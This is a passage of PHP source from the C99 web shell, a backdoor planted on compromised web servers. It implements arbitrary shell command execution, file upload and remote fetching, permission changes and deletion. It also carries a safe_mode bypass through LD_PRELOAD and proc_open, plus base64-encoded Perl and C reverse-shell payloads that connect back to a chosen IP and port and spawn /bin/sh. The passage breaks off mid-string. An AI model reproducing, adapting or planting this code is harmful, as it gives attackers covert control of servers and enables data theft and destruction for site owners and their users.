  $item[1] = str_replace("%d",urlencode($d),$item[1]);

  $item[1] = str_replace("%sort",$sort,$item[1]);

  $v = realpath($d."..");

  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}

  $item[1] = str_replace("%upd",urlencode($v),$item[1]);



  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";

 }

}

echo "</p></td></tr></table><br>";

if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}

echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";

if ($act == "") {$act = $dspact = "ls";}


if ($act == "mkdir")

{

 if ($mkdir != $d)

 {

  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}

  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}

  echo "<br><br>";

 }

 $act = $dspact = "ls";

}

if ($act == "d")

{

 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}

 else

 {

  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";

  if (!$win)

  {

   echo "<tr><td><b>Owner/Group</b></td><td> ";

   $ow = posix_getpwuid(fileowner($d));

   $gr = posix_getgrgid(filegroup($d));

   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));

  }

  echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";

 }

}

if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99nulledoff();}

if ($act == "mkfile")

{

 if ($mkfile != $d)

 {

  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}

  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}

  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}

 }

 else {$act = $dspact = "ls";}

}


if ($act == "logout") { 	
		gocookie('c99pass','');
		echo"Logout: ok";
}


if ($act == "selfremove")

{

 if (($submit == $rndcode) and ($submit != ""))

 {

  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using Shell v.".$shver."!"; c99nulledoff(); }

  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}

 }

 else

 {

  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}

  $rnd = rand(0,9).rand(0,9).rand(0,9);

  echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";

 }

}

if ($act == "search")

{

 echo "<b>Search in file-system:</b><br>";

 if (empty($search_in)) {$search_in = $d;}

 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}

 if (empty($search_text_wwo)) {$search_text_regexp = 0;}

 if (!empty($submit))

 {

  $found = array();

  $found_d = 0;

  $found_f = 0;

  $search_i_f = 0;

  $search_i_d = 0;

  $a = array

  (

   "name"=>$search_name, "name_regexp"=>$search_name_regexp,

   "text"=>$search_text, "text_regexp"=>$search_text_regxp,

   "text_wwo"=>$search_text_wwo,

   "text_cs"=>$search_text_cs,

   "text_not"=>$search_text_not

  );

  $searchtime = getmicrotime();

  $in = array_unique(explode(";",$search_in));

  foreach($in as $v) {c99fsearch($v);}

  $searchtime = round(getmicrotime()-$searchtime,4);

  if (count($found) == 0) {echo "<b>No files found!</b>";}

  else

  {

   $ls_arr = $found;

   $disp_fullpath = TRUE;

   $act = "ls";

  }

 }

 echo "<form method=POST>

<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">

<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp

<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">

<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>

<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp

&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only


&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive

&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text

<br><br><input type=submit name=submit value=\"Search\"></form>";

 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}

}


if ($ft == "rename")
  {    
 if($renamez=='ok') {
  echo '<center><b>Renamed: '.(@rename($d.$f,$d.$newname) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
 $act = "ls";
 }  
}


if ($act == "chmod")

{
 
 $mode = fileperms($d.$f);

 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}

 else
 { 
  if($chmoded=='ok') {

 $chmodwho= base_convert(trim($chmodwho),8,10);
 echo '<center><b>Modify file attributes: '.(@chmod($d.$f, $chmodwho) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
 $act = "ls";
 }else{
 $chmodik=substr(decoct(fileperms($d.$f)),-4,4);
  echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".$chmodik.")</b>";
 echo  '<br><br>'; 
  echo  '<b>Chmod:</b> <form method="POST">

  <input name=\'act\' type=\'hidden\' value=\'chmod\'>
  <input name=\'f\' type=\'hidden\' value='.urlencode($f).'> 
  <input name="d" type="hidden" value='.urlencode($d).'>
  
   <input name=\'chmoded\' type=\'hidden\' value=\'ok\'>
   <input type="text" name="chmodwho" size="50" value="'.$chmodik.'">
  &nbsp;<input type=submit value="Go"></form>'; 
  echo'<br>'; }

 }

}

function wwwcopy($file,$nfile)  
{  
   $fp = @fopen($file,"rb");  
   while(!feof($fp))  
   {  
       $cont.= fread($fp,1024);  
   }  
   fclose($fp);   
   $fp2 = @fopen($nfile,"w");
   if (!( fwrite($fp2,$cont))){$cont='';}
   fclose($fp2);  
   if (!file_exists($nfile) or $cont=='') { return false;} else { return true;}
} 

if ($act == "upload2")
{
 if (trim($wgetfile)==''){  
 if(trim($obzfname)==''){$ffnam=$_FILES['uploadfile']['name'];}else{$ffnam=trim($obzfname);}
	echo '<center><b>File upload '.(@copy($_FILES['uploadfile']['tmp_name'],trim($uploaddir).'/'.$ffnam) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
  $act='ls';}else
  {  
  $wgourl = str_replace("http://", "", trim($wgetfile));
  $faname=substr(strrchr($wgetfile, "/"), 1 );  
  if($fnamewget==''){$faname=$faname;}else{$faname=$fnamewget;}     
 	echo '<center><b>WGET File upload '.(@wwwcopy('http://'.$wgourl,trim($uploaddir).$faname) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
  $act='ls';

  }
  
}

if ($act == "upload")

{
echo'<br><form action="'.$self.'" method="POST" enctype="multipart/form-data">

DIR: <input type="text" name="uploaddir" size="50" value="'.$d.'"><br><br>
FILE: <input class="input" name="uploadfile" value="" type="file" size="30"/> <input type="text" name="obzfname" size="35" value=""><br><br>
WGET: <input type="text" name="wgetfile" size="50" value=""> <input type="text" name="fnamewget" size="30" value=""><br><br> 
<input class="bt" name="doupfile" value="Upload" type="submit" />
<input name="d" value="'.$d.'" type="hidden" />
<input name="act" value="upload2" type="hidden"/></form><br>';
}

if ($act == "delete")

{

 $delerr = "";

 foreach ($actbox as $v)

 {

  $result = FALSE;

  $result = fs_rmobj($v);

  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}

 }

 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}

 $act = "ls";

}

if (!$usefsbuff)

{

 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}

}

else

{

 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }

 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}

 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}

 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}

 elseif ($actpastebuff)

 {

  $psterr = "";

  foreach($sess_data["copy"] as $k=>$v)

  {

   $to = $d.basename($v);

   if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}

   if ($copy_unset) {unset($sess_data["copy"][$k]);}

  }

  foreach($sess_data["cut"] as $k=>$v)

  {

   $to = $d.basename($v);

   if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}

   unset($sess_data["cut"][$k]);

  }

  c99_sess_put($sess_data);

  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}

  $act = "ls";

 }

 elseif ($actarcbuff)

 {

  $arcerr = "";

  if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}

  else {$ext = ".tar.gz";}

  if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}

  $cmdline .= " ".$actarcbuff_path;

  $objects = array_merge($sess_data["copy"],$sess_data["cut"]);

  foreach($objects as $v)

  {

   $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);

   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}

   if (is_dir($v))

   {

    if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}

    $v .= "*";

   }

   $cmdline .= " ".$v;

  }

  $tmp = realpath(".");

  chdir($d);

  $ret = myshellexec($cmdline);

  chdir($tmp);

  if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}

  $ret = str_replace("\r\n","\n",$ret);

  $ret = explode("\n",$ret);

  if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}

  foreach($sess_data["cut"] as $k=>$v)

  {

   if (in_array($v,$ret)) {fs_rmobj($v);}

   unset($sess_data["cut"][$k]);

  }

  c99_sess_put($sess_data);

  if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}

  $act = "ls";

 }

 elseif ($actpastebuff)

 {

  $psterr = "";

  foreach($sess_data["copy"] as $k=>$v)

  {

   $to = $d.basename($v);

   if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}

   if ($copy_unset) {unset($sess_data["copy"][$k]);}

  }

  foreach($sess_data["cut"] as $k=>$v)

  {

   $to = $d.basename($v);

   if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}

   unset($sess_data["cut"][$k]);

  }

  c99_sess_put($sess_data);

  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}

  $act = "ls";

 }

}



if ($act == "cmdsafem")

{
if ($scmd==''){$scmd='ls -al';}

if ($res=='ok'){

$file = fopen($_COOKIE['fsafem3'], 'w+');
fputs($file, $scmd);
fclose($file);
$descriptorspec = array(
    0 => array('pipe', 'r'),
    1 => array('file', $_COOKIE['fsafem'],'w'),
    2 => array('file', $_COOKIE['fsafem1'], 'a')

);
$cwd = '.';
$env = array('LD_PRELOAD' => $_COOKIE['fsafem2']);
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

echo"<b><font color=green>Complite</font> ".rand(109000,999999)." =)</b></a><br/><br/>"; /*$scmd*/}
echo "<b>Execution command:</b>";
 echo "<form method=POST>

 <input type=hidden name=act value=cmdsafem>
 <textarea name=scmd cols=130 rows=13>".$scmd."</textarea>
 <input type=hidden name=\"d\" value=\"".$d."\">
 <input type=hidden name=\"res\" value=\"ok\">
 <br><br><input type=submit name=submit value=\"Execute\">&nbsp;&nbsp;<span style=\"cursor: pointer;\" onclick=\"return openEx('".substr(strrchr($_COOKIE['fsafem'], "/"), 1 )."');\"><font color=green><b>Results =)</b></font></span></form>";
 
}

if ($act == "cmd")

{

if (trim($cmd) == "tasklist") {$act = "processes";}

else

{

 @chdir($chdir);

 if (!empty($submit))

 {

  echo "<b>Result of execution this command</b>:<br>";

  $olddir = realpath(".");

  @chdir($d);

  $ret = myshellexec($cmd);

  $ret = convert_cyr_string($ret,"d","w");

  if ($cmd_txt)

  {
   $rows = count(explode("\r\n",$ret))+1;
   if ($rows < 10) {$rows = 10;}
   echo "<br><textarea cols=\"130\" rows=\"13\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  }

  else {echo $ret."<br>";}

  @chdir($olddir);
 }

 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}

 echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=130 rows=13>".htmlspecialchars($cmd)."</textarea>

 <input type=hidden name=\"d\" value=\"".$dispd."\">
 <input type=hidden name=\"cmdmod\" value=\"ok\">
 <br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";

}

}

if ($act == "ls")

{

 if (count($ls_arr) > 0) {$list = $ls_arr;}

 else

 {

  $list = array();

  if ($h = @opendir($d))

  {

   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}

   closedir($h);
  }

  else {}

 }

 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}

 else

 {

  $objects = array();

  $vd = "f"; 

  if ($vd == "f")

  {

   $objects["head"] = array();

   $objects["folders"] = array();

   $objects["links"] = array();

   $objects["files"] = array();

   foreach ($list as $v)

   {

    $o = basename($v);

    $row = array();

    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}

    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}

    elseif (is_dir($v))

    {

     if (is_link($v)) {$type = "LINK";}

     else {$type = "DIR";}

     $row[] = $v;

     $row[] = $type;

    }

    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}

    $row[] = filemtime($v);

    if (!$win)

    {

     $ow = posix_getpwuid(fileowner($v));

     $gr = posix_getgrgid(filegroup($v));

     $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));

    }

    $row[] = fileperms($v);

    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}

    elseif (is_link($v)) {$objects["links"][] = $row;}

    elseif (is_dir($v)) {$objects["folders"][] = $row;}

    elseif (is_file($v)) {$objects["files"][] = $row;}

    $i++;

   }

   $row = array();

   $row[] = "<b>Name</b>";

   $row[] = "<b>Size</b>";

   $row[] = "<b>Modify</b>";

   if (!$win)

  {$row[] = "<b>Owner/Group</b>";}

   $row[] = "<b>Perms</b>";

   $row[] = "<b>Action</b>";

   $parsesort = parsesort($sort);

   $sort = $parsesort[0].$parsesort[1];

   $k = $parsesort[0];

   if ($parsesort[1] != "a") {$parsesort[1] = "d";}

   $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";

   $row[$k] .= $y;

   for($i=0;$i<count($row)-1;$i++)

   {

    if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}

   }

   $v = $parsesort[0];

   usort($objects["folders"], "tabsort");

   usort($objects["links"], "tabsort");

   usort($objects["files"], "tabsort");

   if ($parsesort[1] == "d")

   {

    $objects["folders"] = array_reverse($objects["folders"]);

    $objects["files"] = array_reverse($objects["files"]);

   }

   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);

   $tab = array();

   $tab["cols"] = array($row);

   $tab["head"] = array();

   $tab["folders"] = array();

   $tab["links"] = array();

   $tab["files"] = array();

   $i = 0;

   foreach ($objects as $a)

   {

    $v = $a[0];

    $o = basename($v);

    $dir = dirname($v);

    if ($disp_fullpath) {$disppath = $v;}

    else {$disppath = $o;}

    $disppath = str2mini($disppath,60);

    if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}

    elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}

    foreach ($regxp_highlight as $r)

    {

     if (ereg($r[0],$o))

     {

      if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99nulledoff();}

      else

      {

       $r[1] = round($r[1]);

       $isdir = is_dir($v);

       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))

       {

        if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}

        $disppath = $r[2].$disppath.$r[3];

        if ($r[4]) {break;}

       }

      }

     }

    }

    $uo = urlencode($o);

    $ud = urlencode($dir);

    $uv = urlencode($v);

    $row = array();

    if ($o == ".")

    {

     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";

     $row[] = "LINK";

    }

    elseif ($o == "..")

    {

     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";

     $row[] = "LINK";

    }

    elseif (is_dir($v))

    {

     if (is_link($v))

     {

      $disppath .= " => ".readlink($v);

      $type = "LINK";

      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }

     else

     {

      $type = "DIR";

      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";

     }

     $row[] = $type;

    }

    elseif(is_file($v))

    {

     $ext = explode(".",$o);

     $c = count($ext)-1;

     $ext = $ext[$c];

     $ext = strtolower($ext);

     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.submit();\">".$disppath."</a>";

     $row[] = view_size($a[1]);

    }

    $row[] = date("d.m.Y H:i:s",$a[2]);

    if (!$win) {$row[] = $a[3];}

     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";

    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}

    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}

    if (is_dir($v)){$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='d';document.todo.d.value='".$uv."';document.todo.submit();\">I</a>&nbsp;".$checkbox;}

    else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='rename';document.todo.d.value='".$ud."';document.todo.submit();\">R</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='info';document.todo.d.value='".$ud."';document.todo.submit();\">I</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;".$checkbox;}

    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}

    elseif (is_link($v)) {$tab["links"][] = $row;}

    elseif (is_dir($v)) {$tab["folders"][] = $row;}

    elseif (is_file($v)) {$tab["files"][] = $row;}

    $i++;

   }

  }

  //Compiling table

  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);

  echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";

  foreach($table as $row)

  {

   echo "<tr>\r\n";

   foreach($row as $v) {echo "<td>".$v."</td>\r\n";}

   echo "</tr>\r\n";

  }

  echo "</table><hr size=\"1\" noshade><p align=\"right\">

  <script>

  function ls_setcheckboxall(status)

  {

   var id = 0;

   var num = ".(count($table)-2).";

   while (id <= num)

   {

    document.getElementById('actbox'+id).checked = status;

    id++;

   }

  }

  function ls_reverse_all()

  {

   var id = 0;

   var num = ".(count($table)-2).";

   while (id <= num)

   {

    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;

    id++;

   }

  }

  </script>

  <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";

  if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))

  {

   echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";

  }

  echo "<select name=act><option value=\"".$act."\">With selected:</option>";

  echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";

  echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";

  if ($usefsbuff)

  {

   echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";

   echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";

   echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";

  }

  echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";

  echo "</form>";

 }

}

if ($act == "tools")

{

function unsafe(){@unlink($_COOKIE['fsafem']); @unlink($_COOKIE['fsafem1']); @unlink($_COOKIE['fsafem2']);@unlink($_COOKIE['fsafem3']);}
if($fucksafemod=='ok') {
@unsafe();
$tmp_files[1] = tempnam($d, "output-");
$tmp_files[2] = tempnam($d, "errors-");
$tmp_files[3] = tempnam($d, "lib-so-");
$tmp_files[4] = tempnam($d, "cmd-");
chmod($d.$tmp_files[1], 0777);
chmod($d.$tmp_files[2], 0777);
chmod($d.$tmp_files[3], 0777);
chmod($d.$tmp_files[4], 0777);

echo "<font color=red><b>";
foreach ($tmp_files as $str) { 
gocookie('fsafem'.$cx++,$str);
echo $str."<br/>"; 
}  
echo "</b></font>".$closetable;
$act = "ls";
}elseif ($fucksafemod=='dell') {
@unsafe();
gocookie('fsafem',''); gocookie('fsafem1',''); gocookie('fsafem2',''); gocookie('fsafem3','');
echo "<center><font color=red><b>FILES DELETED!</b></font></center>".$closetable; $act = "ls";
}elseif ($fucksafemod=='dellso') {
@unlink('a.so');@unlink('b.so');@unlink('phpinfo.php');@unlink('.comm');@unlink('.comm1');
echo "<center><font color=red><b>FILES DELETED ;)</b></font></center>".$closetable; $act = "ls";
}elseif ($fucksafemod=="oksafe"){

if ($hfsafem!=$_COOKIE['fsafem']){@unlink($_COOKIE['fsafem']);gocookie('fsafem',$hfsafem);}
if ($hfsafem1!=$_COOKIE['fsafem1']){@unlink($_COOKIE['fsafem1']);gocookie('fsafem1',$hfsafem1);}
if ($hfsafem2!=$_COOKIE['fsafem2']){@unlink($_COOKIE['fsafem2']);gocookie('fsafem2',$hfsafem2);}
if ($hfsafem3!=$_COOKIE['fsafem3']){@unlink($_COOKIE['fsafem3']);gocookie('fsafem3',$hfsafem3);}

echo "<center><font color=red><b>SAFED ;)</b></font></center>".$closetable; $act = "ls";
}

!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
if($cmdmod=='ok'){

 
function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,@base64_decode($text));
		@fclose($fp);
	}
}

function which($pr) {
	$path = myshellexec("which $pr");
	return ($path ? $path : $pr); 
}

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
